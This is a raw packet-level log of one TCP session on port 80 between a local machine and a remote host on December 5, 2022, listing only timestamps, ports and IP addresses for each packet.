Dec 5, 2022 06:44:50.408236027 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.408245087 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.408252954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.408267021 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.408283949 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.408375025 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.408395052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.408409119 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.408425093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.408432007 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.408442974 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.408456087 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.408480883 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.413503885 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.413528919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.413542986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.413562059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.413578987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.413621902 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.413638115 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.463547945 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.463577032 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.463592052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.463738918 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.549292088 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.549324989 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.549340010 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.549491882 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.549762964 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.549793005 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.549808979 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.549825907 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.550024986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.550044060 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.550055981 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.550072908 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.550199032 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.550219059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.550231934 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.550247908 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.550250053 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.550268888 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.550282001 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.550298929 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.553069115 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.553091049 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.553103924 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.553165913 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.553219080 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.553237915 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.553251028 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.553267002 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.553267956 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.553287029 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.553299904 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.553317070 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.553400040 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.553420067 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.553431988 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.553452969 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.571450949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.571480989 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.571495056 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.571626902 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.571712017 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.571743965 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.571758032 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.571782112 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.581116915 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.581141949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.581156015 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.581255913 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.589736938 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.589759111 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.589773893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.589791059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.589807987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.589821100 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.589842081 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.590517044 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.590537071 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.590544939 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.590552092 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.590572119 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.590579033 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.590590954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.590605021 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.590625048 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.590758085 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.590776920 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.590790987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.590807915 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.590822935 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.590826035 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.590840101 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.590882063 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.591063023 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.591133118 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.591145992 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.591162920 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.591171980 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.591181993 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.591193914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.591226101 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.591332912 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.591411114 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.591449976 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.591471910 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.591490030 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.591510057 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.591525078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.591542006 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.591550112 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.591576099 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.591604948 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.591622114 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.591624022 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.591640949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.591655016 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.591685057 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.599044085 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.599069118 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.599081993 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.599096060 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.599114895 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.599129915 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.599178076 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.650194883 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.650228024 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.650242090 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.650257111 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.650275946 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.650289059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.650342941 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.650393963 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.725837946 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.725868940 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.725887060 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.725903988 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.725922108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.725938082 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.725986004 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.726022959 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.726033926 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.726052046 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.726064920 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.726098061 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.726191998 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.726212025 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.726224899 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.726248026 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.726330996 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.726372004 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.726386070 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.726402044 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.732996941 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.733017921 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.733031988 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.733048916 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.733066082 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.733078003 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.733086109 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.733108044 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.733452082 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.733470917 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.733484030 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.733500957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.733525038 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.733530998 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.733545065 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.733561993 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.750691891 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.750711918 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.750725031 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.750739098 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.750755072 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.750767946 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.750813961 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.750858068 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.760359049 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.760380030 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.760390997 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.760474920 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.767724991 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.767770052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.767798901 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.767872095 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.768309116 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.768328905 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.768342972 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.768361092 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.768371105 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.768378019 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.768392086 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.768409014 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.768558979 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.768599033 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.768614054 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.768630981 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.768630981 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.768650055 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.768663883 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.768681049 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.768758059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.768820047 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.768834114 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.768851042 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.768851995 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.768872023 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.768884897 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.768902063 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.768995047 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.769013882 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.769026041 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.769048929 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.769088984 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.769107103 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.769119024 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.769135952 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.769226074 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.769244909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.769258022 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.769274950 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.769275904 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.769294024 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.769306898 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.769340992 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.769380093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.769397020 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.769409895 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.769434929 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.774429083 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.774482012 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.774497032 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.774514914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.774529934 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.774535894 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.774550915 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.774569988 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.831779957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.831809998 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.831825018 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.831842899 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.831861019 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.831876040 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.831887960 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.831945896 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.898062944 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.898149967 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.898201942 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.898252010 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.898262978 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.898324966 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.898375988 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.898382902 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.898432970 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.898494959 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.898538113 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.898552895 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.898597002 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.898658037 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.898705006 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.898709059 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.898760080 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.898814917 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.898855925 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.898864985 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.904000998 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.904067993 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.904110909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.904139042 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.904165030 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.904222965 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.904263973 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.904273033 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.904405117 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.904460907 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.904503107 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.904512882 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.904556990 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.904613018 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.904654026 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.904702902 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.921063900 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.921135902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.921180964 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.921243906 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.921255112 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.921305895 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.921353102 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.921374083 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.929100990 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.929212093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.929248095 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.929318905 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.935936928 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.935998917 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.936033010 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.936095953 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.936248064 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.936292887 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.936322927 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.936362028 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.936466932 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.936510086 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.936546087 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.936564922 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.936575890 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.936584949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.936602116 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.936636925 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.936728954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.936794043 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.936808109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.936839104 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.936853886 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.936858892 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.936875105 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.936922073 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.936991930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.937011957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.937026978 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.937047958 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.937067032 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.937069893 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.937120914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.937127113 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.937263966 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.937329054 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.937344074 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.937361956 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.937381029 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.937395096 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.937398911 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.937432051 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:50.937474012 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.937493086 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.937505960 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.937524080 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:50.937537909 CET	80	49705	104.193.254.97	192.168.2.3
